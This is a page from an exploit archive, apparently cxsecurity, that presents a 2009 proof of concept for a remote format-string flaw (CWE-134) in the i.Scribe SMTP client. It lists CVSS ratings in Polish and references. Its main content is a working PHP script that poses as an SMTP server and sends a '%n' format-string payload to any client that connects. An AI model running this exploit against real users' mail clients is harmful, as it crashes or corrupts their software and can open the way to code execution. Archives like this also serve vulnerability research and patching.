i.Scribe SMTP Client <= 2.00b (wscanf) Remote Format String PoC

2009.08.27
Risk: High
Local: No
Remote: Yes
CWE: CWE-134


Ogólna skala CVSS: 9.3/10
Znaczenie: 10/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

<?php //I dont have c lol /*___=++++++++++++__=--=________***** 0-- -- i.Scribe smtp client v 1.88 to 2.00 beta Format String (wscanf) bug p0c vendor : Memecode Software grTs;SiD.psycho A.Luja 27.11.08 --)(________++++++++++++++++++++---*** ___00)_- NOTE!!! you must enabled extension=php_sockets.dll in php.ini ___== Or just open nc -l -p 25 lol*/ $host= $_SERVER[SERVER_ADDR]; $port= 25; $ret = "AAAA%n%n%n%n%n%n%n%n%n"; $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die ("socket error\n"); $bind = socket_bind ($socket, $host, $port) or die ("bind error\n"); $listen = socket_listen($socket,1) or die("listen error\n"); printf("--==Fake smtp server ready==----\n"); printf("Now connect here witch iScribe client\n"); if(($acp=socket_accept($socket))!==false){ printf("Target connected\n"); sleep(2); printf("send evil char\n"); $hello=socket_write($acp,$ret,strlen($ret)); printf("done\n"); socket_close($acp); } socket_close($socket); exit(); ?> //Alfons Luja

Referencje:

http://xforce.iss.net/xforce/xfdb/46970
http://www.securityfocus.com/bid/32497
http://www.milw0rm.com/exploits/7249
http://secunia.com/advisories/32906
http://osvdb.org/50232
http://memecode.com/site/ver.php?id=264


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top